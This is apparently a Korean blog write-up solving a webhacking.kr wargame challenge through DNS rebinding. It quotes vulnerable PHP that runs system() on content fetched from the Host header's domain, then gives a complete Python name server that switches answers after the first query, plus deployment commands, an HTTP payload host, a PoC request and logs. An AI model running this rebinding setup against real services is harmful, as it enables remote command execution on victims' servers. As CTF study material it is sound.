[DNS Rebinding] 가내수공업 네임 서버 구성기

[DNS Rebinding] 가내수공업 네임 서버 구성기

태그
생성 일시
Jul 13, 2026 05:11 PM
최종 편집 일시
Last updated July 13, 2026
Date
baby toctou 문제를 풀고 나니, 이름이 비슷한 child toctou🚲 문제가 눈에 들어왔다. 코드는 다음과 같다.
<?php // system($_GET['q']); $cmd = $_GET['q']; if($cmd){ if(count(explode(":",$_SERVER['HTTP_HOST'])) > 1) $_SERVER['HTTP_HOST'] = explode(":",$_SERVER['HTTP_HOST'])[0]; if(!preg_match("/^[a-z0-9-.]+$/",$_SERVER['HTTP_HOST'])) exit("ahh nice try"); if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong"); sleep(1); // my server is small and weak $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); if(curl_getinfo($ch, CURLINFO_HTTP_CODE) !== 200){ echo <<<HELP only "ls", "cat api.php", "cat index.php" allowed HELP; } else{ system($response); } curl_close($ch); } ?>

코드 분석

가장 먼저 눈에 띄는 부분은 curl을 사용한다는 점이다.
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); ... system($response);
그리고 명령어 실행 지점을 찾기 위해 ls 를 쳐보니 이번에는 cmd라는 디렉터리를 사용하고 있었다.
-rw-r--r-- 1 root root 960 Apr 18 2023 api.php drwxr-xr-x 2 root root 4096 Mar 22 2023 cmd -rw-r--r-- 1 root root 68 Apr 18 2023 flag.php -rw-r--r-- 1 root root 3183 Mar 22 2023 index.php
즉, cmd 디렉터리 아래에서 반환되는 응답을 조작해야 한다는 의미다.

검증 로직

검증 로직은 다음과 같다.
if(count(explode(":",$_SERVER['HTTP_HOST'])) > 1) $_SERVER['HTTP_HOST'] = explode(":",$_SERVER['HTTP_HOST'])[0]; if(!preg_match("/^[a-z0-9-.]+$/",$_SERVER['HTTP_HOST'])) exit("ahh nice try"); if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong");
HTTP_HOST를 그대로 신뢰해 검증하는 로직이다. 조건별로 보면 이렇다.
  • 정규식으로 host 형식이 올바른지 검사한다: /^[a-z0-9-.]+$/
  • host가 webhacking.kr이 아니어야 한다
  • host를 조회한 IP가 202.182.106.159가 아니어야 한다
여기서 주의할 부분이 하나 있다. exit으로 흐름을 끊는 if문에서는, 그 조건이 '통과 조건의 정확한 부정'이어야 한다. 조건이 &&||로 여러 개 묶여 있다면 이를 부정하는 과정에서 특히 주의해야 한다. 드모르간 법칙에 따르면 A && B의 부정은 !A || !B이고, A || B의 부정은 !A && !B다. 즉 각 항목뿐 아니라 연산자도 함께 뒤집어야 하는데, 습관적으로 항목만 바꾸고 연산자는 그대로 두는 실수가 흔하다. 그런 관점에서 실제 문제 코드를 보자.
if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong");
이를 풀어 쓰면, “host 문자열이 정확히 webhacking.kr이거나(or), host를 IP로 조회한 결과가 202.182.106.159이면 검증을 통과한다”는 뜻이다. 따라서, host name 검증에 실패하더라도 뒤쪽 && 조건만 만족하면 전체 검증을 우회할 수 있다는 것이다. 그러면 gethostbyname이 호출되는 시점에 202.182.106.159를 응답하도록 만들 경우 앞쪽 조건과 관계없이 검증을 통과할 수 있다.
이런 결함 속에서 어떻게 host 이름을 임의로 지정한 채, DNS 조회 결과로 반환되는 IP를 특정 시점에 원하는 값으로 바꿀 수 있을까? 전체 흐름을 다시 살펴보자.
if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong"); sleep(1); // my server is small and weak ... curl_setopt($ch, CURLOPT_URL, "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt");
위 코드를 통해 알 수 있는 사실은 처음 DNS 조회에서만 202.182.106.159를 응답해 검증을 통과시키고, 그다음 조회부터는 payload가 있는 서버 주소로 바꿔준다면, 검증은 이미 끝났으므로 내가 payload를 준비해둔HTTP_HOST로 명령이 실행된다는 것이다.

DNS Rebinding

이론은 끝났다. 굉장히 막막하지만 차례대로 준비해보자. 우선 DNS Rebinding을 수행해줄 네임서버가 필요했다. 다른 선택지가 있을 수도 있지만, 당장 떠오른 건 이것뿐이었다.
처음에는 VLESS(일반 HTTPS 트래픽으로 위장해 심층 패킷 분석(DPI)을 회피하는 데 특화된 경량 프로토콜) 방식도 고려했다. VLESS는 VPN 서버인지 검증하는 질의에 정상 사이트의 SSL 인증서를 자동으로 보여주는데, 문제는 gethostbyname이 그 인증서 계층보다 아래인 DNS 단계에서 동작한다는 점이었다. 그래서 원래 갖고 있던 도메인에 NS 레코드를 연결해, 요청 순서에 따라 실시간으로 응답을 바꿔주는 네임 서버를 직접 구축하기로 했다.
NS 서버 코드는 아래와 같다. 첫 번째 A 레코드 질의에는 202.182.106.159를 응답해 정상 사이트인 척 위장하고, 그 이후 질의부터는 내 payload 서버 주소를 응답한다.

NS 코드 (펼쳐보기)

from __future__ import annotations import os import signal import threading import time from dataclasses import dataclass from ipaddress import IPv4Address, ip_address from typing import Any from dnslib import A, CLASS, QTYPE, RCODE, RR from dnslib.server import BaseResolver, DNSServer def env(name: str, default: str) -> str: value = os.getenv(name) return value if value else default def env_int(name: str, default: int) -> int: raw = env(name, str(default)) try: return int(raw) except ValueError as exc: raise ValueError( f"{name} must be an integer: {raw!r}" ) from exc def env_float(name: str, default: float) -> float: raw = env(name, str(default)) try: return float(raw) except ValueError as exc: raise ValueError( f"{name} must be a number: {raw!r}" ) from exc def normalize_dns_name( name: str, field_name: str, ) -> str: """ DNS 이름을 소문자 FQDN 형식으로 정규화합니다. example.com -> example.com. """ normalized = name.strip().lower() if not normalized: raise ValueError( f"{field_name} must not be empty" ) if normalized.endswith("."): return normalized return f"{normalized}." @dataclass class Session: count: int last_seen: float @dataclass(frozen=True) class ClientInfo: source_ip: str source_port: int transport: str @dataclass(frozen=True) class AnswerSpec: value: str @classmethod def from_a(cls, value: str) -> AnswerSpec: return cls(value=str(IPv4Address(value))) @property def type_name(self) -> str: return "A" def create_rr( self, qname, ttl: int, ) -> RR: return RR( rname=qname, rtype=QTYPE.A, rclass=CLASS.IN, ttl=ttl, rdata=A(self.value), ) def identify_client(handler: Any) -> ClientInfo: """ dnslib 요청 핸들러에서 클라이언트 주소를 추출합니다. """ client_address = getattr( handler, "client_address", None, ) if not client_address or len(client_address) < 2: raise ValueError( "Unable to determine client address" ) source_ip = str(ip_address(client_address[0])) source_port = int(client_address[1]) transport = str( getattr(handler, "protocol", "unknown") ).lower() return ClientInfo( source_ip=source_ip, source_port=source_port, transport=transport, ) def load_second_answer() -> AnswerSpec: """두 번째 A 응답에 사용할 IPv4 주소를 읽습니다.""" return AnswerSpec.from_a( env("SECOND_IP", "127.0.0.1") ) class ResponseSwitcher: def __init__( self, first_answer: AnswerSpec, second_answer: AnswerSpec, reset_after: float, ) -> None: self.first_answer = first_answer self.second_answer = second_answer self.reset_after = reset_after # 서버 전체에서 하나의 질의 순서만 관리합니다. self._session: Session | None = None self._lock = threading.Lock() def next_answer(self) -> tuple[AnswerSpec, int]: """ 서버 전체 기준 첫 번째 A 질의에는 first_answer, 두 번째 이후 A 질의에는 second_answer를 반환합니다. reset_after 동안 A 질의가 없으면 다시 첫 번째부터 시작합니다. """ now = time.monotonic() with self._lock: if ( self._session is None or now - self._session.last_seen > self.reset_after ): self._session = Session( count=0, last_seen=now, ) query_number = self._session.count + 1 if self._session.count == 0: answer = self.first_answer else: answer = self.second_answer self._session.count += 1 self._session.last_seen = now return answer, query_number class ZoneResolver(BaseResolver): def __init__( self, zone_name: str, switcher: ResponseSwitcher, ttl: int, ) -> None: self.zone_name = normalize_dns_name( zone_name, "ZONE_NAME", ) self.switcher = switcher self.ttl = ttl def _is_in_zone(self, qname: str) -> bool: """ 설정된 존 자체와 하위 도메인만 허용합니다. ZONE_NAME=example.com인 경우: example.com. 허용 www.example.com. 허용 api.example.com. 허용 google.com. 거절 """ return ( qname == self.zone_name or qname.endswith(f".{self.zone_name}") ) def resolve(self, request, handler): reply = request.reply() reply.header.ra = 0 if len(request.questions) != 1: reply.header.rcode = RCODE.FORMERR return reply question = request.q qname = str(question.qname).lower() if not self._is_in_zone(qname): reply.header.rcode = RCODE.REFUSED return reply reply.header.aa = 1 # A/IN 질의에 대해서만 전환 응답을 반환합니다. if ( question.qtype != QTYPE.A or question.qclass != CLASS.IN ): return reply try: client = identify_client(handler) except (ValueError, TypeError) as exc: print( f"client identification failed: {exc}", flush=True, ) reply.header.rcode = RCODE.SERVFAIL return reply answer, query_number = self.switcher.next_answer() reply.add_answer( answer.create_rr( qname=question.qname, ttl=self.ttl, ) ) print( f"client_ip={client.source_ip} " f"client_port={client.source_port} " f"transport={client.transport} " f"name={qname} " f"query_number={query_number} " f"answer_type={answer.type_name} " f"answer={answer.value} " f"ttl={self.ttl}", flush=True, ) return reply def main() -> None: dns_host = env( "DNS_HOST", "127.0.0.1", ) dns_port = env_int( "DNS_PORT", 53, ) zone_name = env( "ZONE_NAME", "switch.lab.test", ) first_ip = env( "FIRST_IP", "192.0.2.10", ) second_answer = load_second_answer() reset_seconds = env_float( "RESET_SECONDS", 30.0, ) # 즉시 재질의가 발생하도록 기본 TTL은 0입니다. dns_ttl = env_int( "DNS_TTL", 0, ) if not 1 <= dns_port <= 65535: raise ValueError( "DNS_PORT must be between 1 and 65535" ) if reset_seconds <= 0: raise ValueError( "RESET_SECONDS must be positive" ) if dns_ttl < 0: raise ValueError( "DNS_TTL must be zero or greater" ) first_answer = AnswerSpec.from_a(first_ip) switcher = ResponseSwitcher( first_answer=first_answer, second_answer=second_answer, reset_after=reset_seconds, ) resolver = ZoneResolver( zone_name=zone_name, switcher=switcher, ttl=dns_ttl, ) udp_server = DNSServer( resolver, port=dns_port, address=dns_host, tcp=False, ) tcp_server = DNSServer( resolver, port=dns_port, address=dns_host, tcp=True, ) stop_event = threading.Event() def request_shutdown(signum, frame) -> None: del signum, frame stop_event.set() signal.signal( signal.SIGINT, request_shutdown, ) signal.signal( signal.SIGTERM, request_shutdown, ) udp_server.start_thread() tcp_server.start_thread() print( f"DNS UDP/TCP listening on " f"{dns_host}:{dns_port}; " f"zone={resolver.zone_name}; " f"first={first_answer.type_name}:" f"{first_answer.value}; " f"second={second_answer.type_name}:" f"{second_answer.value}; " f"ttl={dns_ttl}; " f"reset={reset_seconds}s", flush=True, ) try: while not stop_event.wait(timeout=1): pass finally: udp_server.stop() tcp_server.stop() if __name__ == "__main__": main()
다음 명령어로 실행했다.
sudo env \ DNS_HOST=<yr name server interface> \ DNS_PORT=53 \ ZONE_NAME=<yr_attack_host_name> \ FIRST_IP=202.182.106.159 \ SECOND_IP=<yr payload server> \ DNS_TTL=0 \ RESET_SECONDS=30 \ python3 main.py
DNS Rebinding을 대신해주는 프레임워크도 있지만, 이번에는 직접 raw하게 구현해보고 싶었다. 지금 와서 보면 그냥 얌전히 git clone 해서 쓸 걸 그랬다 싶기도 하다. (바이브 코딩으로 짜긴 했지만, 결국 붙잡고 있던 시간을 따지면 비슷했다.)
한 가지 복병은, 네임 서버가 TCP/UDP를 쓰기 때문에 ngrok으로는 배포할 수 없다는 점이었다. 그래서 포트 포워딩을 하거나, 직접 TCP/UDP 터널을 파거나, VPS를 하나 띄워야 했다. 어느 하나 마음 편한 것이 없었기에 그중 제일 설정 리스크가 적은 VPS를 선택했으며, 이를 위해 AWS Lightsail 서비스를 통해 빠르게 네임 서버를 구축했다.
notion image
이후 "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt" 경로에 맞춰 파일을 준비했다. ls.txt 파일에는 cat flag.php를 적어두었다. 굳이 별도 인프라를 새로 만들기는 귀찮아서, 네임서버 인스턴스에 백그라운드로 HTTP 서버 하나를 띄워두었다.
nohup python3 -m http.server 10020 --bind 0.0.0.0 --directory ~/poc > ~/poc-http.log 2>&1 &
도메인 레코드 관리 페이지에는 다음과 같이 설정했다.
Type
Name
Target
A
<yr_ns1>
<yr_ns_ip>
A
<yr_ns2>
<yr_ns_ip>
NS
<yr_attack_host_name>
<yr_ns1>.<yr_domain>
NS
<yr_attack_host_name>
<yr_ns2>.<yr_domain>
설정을 마친 뒤 네임서버를 실행해 값이 전환되는지 테스트해보자.
dig @<yr_ns_ip> <yr_attack_host_name> A +noall +answer <yr_attack_host_name>. 0 IN A 202.182.106.159
dig @<yr_ns_ip> <yr_attack_host_name> A +noall +answer <yr_attack_host_name>. 0 IN A <yr payload server>
두 번째 요청부터는 성공적으로 <yr payload server>가 출력된다. 이제 네임서버를 재시작해 플래그를 얻을 준비를 마쳤다.

PoC

import requests BASE_URL = "<http://webhacking.kr:10020/api.php>" r1 = requests.get( url=BASE_URL, params={"q": "ls"}, headers={"Host":<yr_attack_host_name>}, ) print(r1.text)
이 요청을 보내면, if문 검증 단계에서는 정상 서버인 척 위장하고, 그 뒤 system() 실행 시점에는 미리 심어둔 cat flag.php가 대신 동작하게 된다. 동작 여부는 로그에서 볼 수 있다.
[TIME_STAMP] [DNSHandler:ZoneResolver] Request: [<cool_ip>:34719] (udp) / '<yr_attack_host_name>.' (A) client_ip=<cool_ip> client_port=34719 transport=udp name=<yr_attack_host_name>. query_number=1 answer_type=A answer=202.182.106.159 ttl=0 [TIME_STAMP] [DNSHandler:ZoneResolver] Reply: [<cool_ip>:34719] (udp) / '<yr_attack_host_name>.' (A) / RRs: A [TIME_STAMP] [DNSHandler:ZoneResolver] Request: [<cool_ip>:47803] (udp) / '<yr_attack_host_name>.' (A) client_ip=<cool_ip> client_port=47803 transport=udp name=<yr_attack_host_name>. query_number=2 answer_type=A answer=<yr payload server> ttl=0 [TIME_STAMP] [DNSHandler:ZoneResolver] Request: [<cool_ip>:42168] (udp) / '<yr_attack_host_name>.' (AAAA) [TIME_STAMP] [DNSHandler:ZoneResolver] Reply: [<cool_ip>:47803] (udp) / '<yr_attack_host_name>.' (A) / RRs: A [TIME_STAMP] [DNSHandler:ZoneResolver] Reply: [<cool_ip>:42168] (udp) / '<yr_attack_host_name>.' (AAAA) / RRs:
로그를 보면 첫 번째 질의에서는 202.182.106.159를 응답해 검증을 통과시키고, 두 번째 질의부터 <yr payload server>를 반환해 PoC가 동작했음이 드러난다.
notion image
이때 <yr_attack_host_name>ExAmplE.CoM처럼 대소문자를 무작위로 섞고 소스 포트도 매번 다르게 쓰는 모습이 관찰되는데, 이는 DNS 스푸핑을 막기 위한 추가적인 난수성 확보(0x20 인코딩)와 리졸버 측의 임시 소스 포트라고 한다. 이 부분은 기회가 되면 더 자세히 파볼 생각이다.